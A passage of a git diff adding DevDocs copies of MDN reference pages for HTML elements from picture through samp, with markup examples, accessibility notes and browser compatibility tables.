type1121Yes15≤44.418414≤3.21.0
value1121Yes15≤44.418414≤3.21.0
valuetype1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/param +

+
diff --git a/devdocs/html/element%2Fpicture.html b/devdocs/html/element%2Fpicture.html new file mode 100644 index 00000000..3beeaf09 --- /dev/null +++ b/devdocs/html/element%2Fpicture.html @@ -0,0 +1,108 @@ +

<picture>: The Picture element

+

The <picture> HTML element contains zero or more <source> elements and one <img> element to offer alternative versions of an image for different display/device scenarios.

The browser will consider each child <source> element and choose the best match among them. If no matches are found—or the browser doesn't support the <picture> element—the URL of the <img> element's src attribute is selected. The selected image is then presented in the space occupied by the <img> element.

+
+

Try it

+
+

To decide which URL to load, the user agent examines each <source>'s srcset, media, and type attributes to select a compatible image that best matches the current layout and capabilities of the display device.

The <img> element serves two purposes:

  1. It describes the size and other attributes of the image and its presentation.
  2. It provides a fallback in case none of the offered <source> elements are able to provide a usable image.

Common use cases for <picture>:

If providing higher-density versions of an image for high-DPI (Retina) display, use srcset on the <img> element instead. This lets browsers opt for lower-density versions in data-saving modes, and you don't have to write explicit media conditions.

Content categories +Flow content, phrasing content, embedded content
Permitted content Zero or more <source> elements, followed by one <img> element, optionally intermixed with script-supporting elements.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that allows embedded content.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLPictureElement
+
+

Attributes

+

This element includes only global attributes.

+

Usage notes

+
+

You can use the object-position property to adjust the positioning of the image within the element's frame, and the object-fit property to control how the image is resized to fit within the frame.

Note: Use these properties on the child <img> element, not the <picture> element.

+
+

Examples

+

These examples demonstrate how different attributes of the <source> element change the selection of the image inside <picture>.

+

The media attribute

+
+

The media attribute specifies a media condition (similar to a media query) that the user agent will evaluate for each <source> element.

If the <source>'s media condition evaluates to false, the browser skips it and evaluates the next element inside <picture>.

+

html

+
<picture>
+  <source srcset="mdn-logo-wide.png" media="(min-width: 600px)" />
+  <img src="mdn-logo-narrow.png" alt="MDN" />
+</picture>
+
+
+
+

The srcset attribute

+
+

The srcset attribute is used to offer list of possible images based on size.

It is composed of a comma-separated list of image descriptors. Each image descriptor is composed of a URL of the image, and either:

+

html

+
<picture>
+  <source srcset="logo-768.png, logo-768-1.5x.png 1.5x" />
+  <img src="logo-320.png" alt="logo" />
+</picture>
+
+
+
+

The type attribute

+
+

The type attribute specifies a MIME type for the resource URL(s) in the <source> element's srcset attribute. If the user agent does not support the given type, the <source> element is skipped.

+

html

+
<picture>
+  <source srcset="photo.avif" type="image/avif" />
+  <source srcset="photo.webp" type="image/webp" />
+  <img src="photo.jpg" alt="photo" />
+</picture>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-picture-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
picture381338No259.1383838259.33.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/picture +

+
diff --git a/devdocs/html/element%2Fplaintext.html b/devdocs/html/element%2Fplaintext.html new file mode 100644 index 00000000..62a338bc --- /dev/null +++ b/devdocs/html/element%2Fplaintext.html @@ -0,0 +1,62 @@ +

<plaintext>: The Plain Text element (Deprecated)

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <plaintext> HTML element renders everything following the start tag as raw text, ignoring any following HTML. There is no closing tag, since everything after it is considered raw text.

Warning: Do not use this element.

  • +<plaintext> is deprecated since HTML 2, and not all browsers implemented it. Browsers that did implement it didn't do so consistently.
  • +<plaintext> is obsolete; browsers that accept it may instead treat it as a <pre> element that still interprets HTML within.
  • If <plaintext> is the first element on the page (other than any non-displayed elements, like <head>), do not use HTML at all. Instead serve a text file with the text/plain MIME-type.
  • Instead of <plaintext>, use the <pre> element or, if semantically accurate (such as for inline text), the <code> element. Escape any <, > and & characters, to prevent browsers inadvertently parsing content the element content as HTML.
  • A monospaced font can be applied to any HTML element via a CSS font-family style with the monospace generic value.
+
+

Attributes

+

This element has no other attributes than the global attributes common to all elements.

+

DOM interface

+

This element implements the HTMLElement interface.

+

Specifications

+
+ + +
Specification
HTML Standard
# plaintext
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
plaintext1124
1–4Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
+		Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/plaintext +

+
diff --git a/devdocs/html/element%2Fportal.html b/devdocs/html/element%2Fportal.html new file mode 100644 index 00000000..54f1da5c --- /dev/null +++ b/devdocs/html/element%2Fportal.html @@ -0,0 +1,73 @@ +

<portal>: The Portal element

+

Experimental: This is an experimental technology
Check the Browser compatibility table carefully before using this in production.

The <portal> HTML element enables the embedding of another HTML page into the current one for the purposes of allowing smoother navigation into new pages.

A <portal> is similar to an <iframe>. An <iframe> allows a separate browsing context to be embedded. However, the embedded content of a <portal> is more limited than that of an <iframe>. It cannot be interacted with, and therefore is not suitable for embedding widgets into a document. Instead, the <portal> acts as a preview of the content of another page. It can be navigated into therefore allowing for seamless transition to the embedded content.

+
+

Attributes

+
+

This element includes the global attributes.

referrerpolicy

Sets the referrer policy to use when requesting the page at the URL given as the value of the src attribute.

src

The URL of the page to embed.

+
+

Examples

+ +

Basic example

+
+

The following example will embed the contents of https://example.com as a preview.

+

html

+
<portal id="exampleportal" src="https://example.com/"></portal>
+
+
+
+

Accessibility concerns

+
+

The preview displayed by a <portal> is not interactive, therefore does not receive input events or focus. Therefore the embedded contents of the portal are not exposed as elements in the accessibility tree. The portal can be navigated to and activated like a button, the default behavior when clicking on the portal is to activate it.

Portals are given a default label which is the title of the embedded page. If no title is present the visible text in the preview is concatenated to create a label. The aria-label attribute can be used to override this.

Portals used for prerendering only should be hidden with the hidden HTML attribute or the CSS display property with a value of none.

When using animations during portal activation the prefers-reduced-motion media feature should be respected.

+
+

Technical summary

+
Implicit ARIA role button
DOM interface HTMLPortalElement
+

Specifications

+
+ + +
Specification
Portals
# the-portal-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
portal8590NoNo73No?85NoNoNoNo
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/portal +

+
diff --git a/devdocs/html/element%2Fpre.html b/devdocs/html/element%2Fpre.html new file mode 100644 index 00000000..d3143640 --- /dev/null +++ b/devdocs/html/element%2Fpre.html @@ -0,0 +1,183 @@ +

<pre>: The Preformatted Text element

The <pre> HTML element represents preformatted text which is to be presented exactly as written in the HTML file. The text is typically rendered using a non-proportional, or monospaced, font. Whitespace inside this element is displayed as written.

+

Try it

+
+

If you have to display reserved characters such as <, >, &, and " within the <pre> tag, the characters must be escaped using their respective HTML entity.

+
+

Attributes

+
+

This element only includes the global attributes.

+cols +

Contains the preferred count of characters that a line should have. It was a non-standard synonym of width. To achieve such an effect, use CSS width instead.

+width +

Contains the preferred count of characters that a line should have. Though technically still implemented, this attribute has no visual effect; to achieve such an effect, use CSS width instead.

+wrap +

Is a hint indicating how the overflow must happen. In modern browser this hint is ignored and no visual effect results in its present; to achieve such an effect, use CSS white-space instead.

+
+

Accessibility concerns

+
+

It is important to provide an alternate description for any images or diagrams created using preformatted text. The alternate description should clearly and concisely describe the image or diagram's content.

People experiencing low vision conditions and browsing with the aid of assistive technology such as a screen reader may not understand what the preformatted text characters are representing when they are read out in sequence.

A combination of the <figure> and <figcaption> elements, supplemented by the ARIA role and aria-label attributes on the pre element allow the preformatted ASCII art to be announced as an image with alternative text, and the figcaption serving as the image's caption.

+
+

Example

+
+
+

html

+
<figure>
+  <pre role="img" aria-label="ASCII COW">
+      ___________________________
+  &lt; I'm an expert in my field. &gt;
+      ---------------------------
+          \   ^__^
+           \  (oo)\_______
+              (__)\       )\/\
+                  ||----w |
+                  ||     ||
+  </pre>
+  <figcaption id="cow-caption">
+    A cow saying, "I'm an expert in my field." The cow is illustrated using
+    preformatted text characters.
+  </figcaption>
+</figure>
+
+
+
+

Examples

+ +

Basic example

+
+

HTML

+

html

+
<p>Using CSS to change the font color is easy.</p>
+<pre>
+body {
+  color: red;
+}
+</pre>
+
+

Result

+
+ + +
+
+

Escaping reserved characters

+
+

HTML

+

html

+
<pre>
+let i = 5;
+
+if (i &lt; 10 &amp;&amp; i &gt; 0)
+  return &quot;Single Digit Number&quot;
+</pre>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories +Flow content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLPreElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-pre-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
pre1121Yes15≤44.418414≤3.21.0
colsNoNo1–29NoNoNoNoNo4–29NoNoNo
width
1Specifying the width attribute has no layout effect.
12Specifying the width attribute has no layout effect.
1Since Firefox 29, specifying the width attribute has no layout effect.
YesSpecifying the width attribute has no layout effect.
15Specifying the width attribute has no layout effect.
3Specifying the width attribute has no layout effect.
4.4Specifying the width attribute has no layout effect.
18Specifying the width attribute has no layout effect.
4Since Firefox 29, specifying the width attribute has no layout effect.
14Specifying the width attribute has no layout effect.
2Specifying the width attribute has no layout effect.
1.0Specifying the width attribute has no layout effect.
wrap16791No1564.41841461.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/pre +

+
diff --git a/devdocs/html/element%2Fprogress.html b/devdocs/html/element%2Fprogress.html new file mode 100644 index 00000000..37dbd36c --- /dev/null +++ b/devdocs/html/element%2Fprogress.html @@ -0,0 +1,144 @@ +

<progress>: The Progress Indicator element

The <progress> HTML element displays an indicator showing the completion progress of a task, typically displayed as a progress bar.

+

Try it

+
+
Content categories Flow content, phrasing content, labelable content, palpable content.
Permitted content Phrasing content, but there must be no <progress> element among its descendants.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role progressbar
Permitted ARIA roles No role permitted
DOM interface HTMLProgressElement
+
+

Attributes

+
+

This element includes the global attributes.

max

This attribute describes how much work the task indicated by the progress element requires. The max attribute, if present, must have a value greater than 0 and be a valid floating point number. The default value is 1.

value

This attribute specifies how much of the task that has been completed. It must be a valid floating point number between 0 and max, or between 0 and 1 if max is omitted. If there is no value attribute, the progress bar is indeterminate; this indicates that an activity is ongoing with no indication of how long it is expected to take.

Note: Unlike the <meter> element, the minimum value is always 0, and the min attribute is not allowed for the <progress> element.

Note: The :indeterminate pseudo-class can be used to match against indeterminate progress bars. To change the progress bar to indeterminate after giving it a value you must remove the value attribute with element.removeAttribute('value').

+
+

Examples

+
+

html

+
<progress value="70" max="100">70 %</progress>
+
+
+

Result

+
+ + +
+

Accessibility Concerns

+ +

Labelling

+
+

In most cases you should provide an accessible label when using <progress>. While you can use the standard ARIA labelling attributes aria-labelledby or aria-label as you would for any element with role="progressbar", when using <progress> you can alternatively use the <label> element.

Note: Text placed between the element's tags is not an accessible label, it is only recommended as a fallback for old browsers that do not support this element.

Examples

+

html

+
<label>
+  Uploading Document: <progress value="70" max="100">70 %</progress>
+</label>
+
+<!-- OR -->
+<br />
+
+<label for="progress-bar">Uploading Document</label>
+<progress id="progress-bar" value="70" max="100">70 %</progress>
+
+

Result

+
+ + +
+
+

Describing a particular region

+
+

If the <progress> element is describing the loading progress of a section of a page, use aria-describedby to point to the status, and set aria-busy="true" on the section that is being updated, removing the aria-busy attribute when it has finished loading.

Examples

+

html

+
<div aria-busy="true" aria-describedby="progress-bar">
+  <!-- content is for this region is loading -->
+</div>
+
+<!-- ... -->
+
+<progress id="progress-bar" aria-label="Content loading…"></progress>
+
+
Result
+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-progress-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
progress612
6["Before Firefox 14, the <progress> element was incorrectly classified as a form element, and therefore had a form attribute. This has been fixed.", "Firefox provides the ::-moz-progress-bar pseudo-element, which lets you style the part of the interior of the progress bar representing the amount of work completed so far."]
101164.418
6["Before Firefox 14, the <progress> element was incorrectly classified as a form element, and therefore had a form attribute. This has been fixed.", "Firefox provides the ::-moz-progress-bar pseudo-element, which lets you style the part of the interior of the progress bar representing the amount of work completed so far."]
11
7Safari on iOS does not support indeterminate progress bars (they are rendered like 0%-completed progress bars).
1.0
max6126101164.41861171.0
value6126101164.41861171.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/progress +

+
diff --git a/devdocs/html/element%2Fq.html b/devdocs/html/element%2Fq.html new file mode 100644 index 00000000..e235ac28 --- /dev/null +++ b/devdocs/html/element%2Fq.html @@ -0,0 +1,78 @@ +

<q>: The Inline Quotation element

The <q> HTML element indicates that the enclosed text is a short inline quotation. Most modern browsers implement this by surrounding the text in quotation marks. This element is intended for short quotations that don't require paragraph breaks; for long quotations use the <blockquote> element.

+

Try it

+
+

Attributes

+
+

This element includes the global attributes.

cite

The value of this attribute is a URL that designates a source document or message for the information quoted. This attribute is intended to point to information explaining the context or the reference for the quote.

+
+

Examples

+
+

html

+
<p>
+  According to Mozilla's website,
+  <q cite="https://www.mozilla.org/en-US/about/history/details/">
+    Firefox 1.0 was released in 2004 and became a big success.
+  </q>
+</p>
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLQuoteElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-q-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
q1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q +

+
diff --git a/devdocs/html/element%2Frb.html b/devdocs/html/element%2Frb.html new file mode 100644 index 00000000..cebee52a --- /dev/null +++ b/devdocs/html/element%2Frb.html @@ -0,0 +1,91 @@ +

<rb>: The Ruby Base element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <rb> HTML element is used to delimit the base text component of a <ruby> annotation, i.e. the text that is being annotated. One <rb> element should wrap each separate atomic segment of the base text.

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+ +

Using rb

+
+

In this example, we provide an annotation for the original character equivalent of "Kanji":

+

html

+
<ruby>
+  <rb>漢</rb><rb>字 </rb><rp>(</rp><rt>kan</rt><rt>ji</rt><rp>)</rp>
+</ruby>
+
+

Note how we've included two <rb> elements, to delimit the two separate parts of the ruby base text. The annotation on the other hand is delimited by two <rt> elements.

Result

+
+ + +
+
+

Separate annotations

+
+

Note that we could also write this example with the two base text parts annotated completely separately. In this case we don't need to include <rb> elements:

+

html

+
<ruby>
+  漢 <rp>(</rp><rt>Kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp>
+</ruby>
+
+

Result

+
+ + +

See the article about the <ruby> element for further examples.

+
+

Technical summary

+
Content categories None.
Permitted content As a child of a <ruby> element.
Tag omission The end tag can be omitted if the element is immediately followed by an <rt>, <rtc>, or <rp> element or another <rb> element, or if there is no more content in the parent element.
Permitted parents A <ruby> element.
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# rb
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
rb
5Blink has support for parsing the rb element, but not for rendering rb content as expected.
79Blink has support for parsing the rb element, but not for rendering rb content as expected.
385
15Blink has support for parsing the rb element, but not for rendering rb content as expected.
5Safari has support for parsing the rb element, but not for rendering rb content as expected.
4.4Blink has support for parsing the rb element, but not for rendering rb content as expected.
18Blink has support for parsing the rb element, but not for rendering rb content as expected.
38
14Blink has support for parsing the rb element, but not for rendering rb content as expected.
4.2Safari has support for parsing the rb element, but not for rendering rb content as expected.
1.0Blink has support for parsing the rb element, but not for rendering rb content as expected.
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rb +

+
diff --git a/devdocs/html/element%2Frp.html b/devdocs/html/element%2Frp.html new file mode 100644 index 00000000..18e91041 --- /dev/null +++ b/devdocs/html/element%2Frp.html @@ -0,0 +1,85 @@ +

<rp>: The Ruby Fallback Parenthesis element

The <rp> HTML element is used to provide fall-back parentheses for browsers that do not support display of ruby annotations using the <ruby> element. One <rp> element should enclose each of the opening and closing parentheses that wrap the <rt> element that contains the annotation's text.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+ +

Using ruby annotations

+
+

This example uses ruby annotations to display the Romaji equivalents for each character.

+

html

+
<ruby>
+  漢 <rp>(</rp><rt>Kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp>
+</ruby>
+
+

Result

+
+ + +

See the article about the <ruby> element for further examples.

+
+

Without ruby support

+
+

If your browser does not support ruby annotations, the result looks like this instead:

+
+ + +
+
+

Technical summary

+
Content categories None.
Permitted content Text
Tag omission The end tag can be omitted if the element is immediately followed by an <rt> or another <rp> element, or if there is no more content in the parent element.
Permitted parents A <ruby> element. <rp> must be positioned immediately before or after an <rt> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-rp-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
rp5793851554.41838144.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rp +

+
diff --git a/devdocs/html/element%2Frt.html b/devdocs/html/element%2Frt.html new file mode 100644 index 00000000..568e0dee --- /dev/null +++ b/devdocs/html/element%2Frt.html @@ -0,0 +1,76 @@ +

<rt>: The Ruby Text element

The <rt> HTML element specifies the ruby text component of a ruby annotation, which is used to provide pronunciation, translation, or transliteration information for East Asian typography. The <rt> element must always be contained within a <ruby> element.

+

Try it

+
+

See the article about the <ruby> element for more examples.

+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+ +

Using ruby annotations

+
+

This simple example provides Romaji transliteration for the kanji characters within the <ruby> element:

+

html

+
<ruby> 漢 <rt>Kan</rt> 字 <rt>ji</rt> </ruby>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories None.
Permitted content +Phrasing content.
Tag omission The end tag may be omitted if the <rt> element is immediately followed by an <rt> or <rp> element, or if there is no more content in the parent element
Permitted parents A <ruby> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-rt-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
rt5793851554.41838144.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rt +

+
diff --git a/devdocs/html/element%2Frtc.html b/devdocs/html/element%2Frtc.html new file mode 100644 index 00000000..9c5637e2 --- /dev/null +++ b/devdocs/html/element%2Frtc.html @@ -0,0 +1,83 @@ +

<rtc>: The Ruby Text Container element

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <rtc> HTML element embraces semantic annotations of characters presented in a ruby of <rb> elements used inside of <ruby> element. <rb> elements can have both pronunciation (<rt>) and semantic (<rtc>) annotations.

+
+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+
+
+

html

+
<div class="info">
+  <ruby>
+    <rtc>
+      <rb>旧</rb><rt>jiù</rt>
+      <rb>金</rb><rt>jīn</rt>
+      <rb>山</rb><rt>shān</rt>
+    </rtc>
+    <rtc>San Francisco</rtc>
+  </ruby>
+</div>
+
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories None.
Permitted content Phrasing content or <rt> elements.
Tag omission The closing tag can be omitted if it is immediately followed by a <rb>, <rtc> or <rt> element opening tag or by its parent closing tag.
Permitted parents A <ruby> element.
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# rtc
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
rtc≤808033No67≤13.180803357≤13.413.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/rtc +

+
diff --git a/devdocs/html/element%2Fruby.html b/devdocs/html/element%2Fruby.html new file mode 100644 index 00000000..a305f07f --- /dev/null +++ b/devdocs/html/element%2Fruby.html @@ -0,0 +1,91 @@ +

<ruby>: The Ruby Annotation element

+

The <ruby> HTML element represents small annotations that are rendered above, below, or next to base text, usually used for showing the pronunciation of East Asian characters. It can also be used for annotating other kinds of text, but this usage is less common.

The term ruby originated as a unit of measurement used by typesetters, representing the smallest size that text can be printed on newsprint while remaining legible.

+
+

Try it

+
+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLElement
+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+ +

Example 1: Character

+
+
+

html

+
<ruby>
+  漢 <rp>(</rp><rt>Kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp>
+</ruby>
+
+

Result

+
+ + +
+
+

Example 2: Word

+
+
+

html

+
<ruby> 明日 <rp>(</rp><rt>Ashita</rt><rp>)</rp> </ruby>
+
+

Result

+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-ruby-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
ruby5123851554.41838144.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ruby +

+
diff --git a/devdocs/html/element%2Fs.html b/devdocs/html/element%2Fs.html new file mode 100644 index 00000000..e8eb27ad --- /dev/null +++ b/devdocs/html/element%2Fs.html @@ -0,0 +1,105 @@ +

<s>: The Strikethrough element

The <s> HTML element renders text with a strikethrough, or a line through it. Use the <s> element to represent things that are no longer relevant or no longer accurate. However, <s> is not appropriate when indicating document edits; for that, use the <del> and <ins> elements, as appropriate.

+

Try it

+
+
Content categories Phrasing content, flow content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role deletion
Permitted ARIA roles Any
DOM interface HTMLElement
+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+
+
+

css

+
.sold-out {
+  text-decoration: line-through;
+}
+
+
+

html

+
<s>Today's Special: Salmon</s> SOLD OUT<br />
+<span class="sold-out">Today's Special: Salmon</span> SOLD OUT
+
+
+
+

Result

+
+ + +
+

Accessibility concerns

+
+

The presence of the s element is not announced by most screen reading technology in its default configuration. It can be made to be announced by using the CSS content property, along with the ::before and ::after pseudo-elements.

+

css

+
s::before,
+s::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+s::before {
+  content: " [start of stricken text] ";
+}
+
+s::after {
+  content: " [end of stricken text] ";
+}
+
+

Some people who use screen readers deliberately disable announcing content that creates extra verbosity. Because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been struck out would adversely affect understanding.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-s-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
s112
1Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/s +

+
diff --git a/devdocs/html/element%2Fsamp.html b/devdocs/html/element%2Fsamp.html new file mode 100644 index 00000000..c63e916b --- /dev/null +++ b/devdocs/html/element%2Fsamp.html @@ -0,0 +1,119 @@ +

<samp>: The Sample Output element

The <samp> HTML element is used to enclose inline text which represents sample (or quoted) output from a computer program. Its contents are typically rendered using the browser's default monospaced font (such as Courier or Lucida Console).

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

You can use a CSS rule to override the browser's default font face for the <samp> element; however, it's possible that the browser's preferences may take precedence over any CSS you specify.

The CSS to override the default font face would look like this:

+

css

+
samp {
+  font-family: "Courier";
+}
+
+

Note: If you need an element which will serve as a container for output generated by your website or app's JavaScript code, you should instead use the <output> element.

+
+

Examples

+ +

Basic example

+
+

In this simple example, a paragraph includes an example of the output of a program.

+

html

+
<p>
+  When the process is complete, the utility will output the text
+  <samp>Scan complete. Found <em>N</em> results.</samp> You can then proceed to
+  the next step.
+</p>
+
+

Result

+
+ + +
+
+

Sample output including user input

+
+

You can nest the <kbd> element within a <samp> block to present an example that includes text entered by the user. For example, consider this text presenting a transcript of a Linux (or macOS) console session:

HTML

+

html

+
<pre>
+<samp><span class="prompt">mike@interwebz:~$</span> <kbd>md5 -s "Hello world"</kbd>
+MD5 ("Hello world") = 3e25960a79dbc69b674cd4ec67a72c62
+
+<span class="prompt">mike@interwebz:~$</span> <span class="cursor">█</span></samp></pre>
+
+

Note the use of <span> to allow customization of the appearance of specific portions of the sample text such as the shell prompts and the cursor. Note also the use of <kbd> to represent the command the user entered at the prompt in the sample text.

CSS

The CSS that achieves the appearance we want is:

+

css

+
.prompt {
+  color: #b00;
+}
+
+samp > kbd {
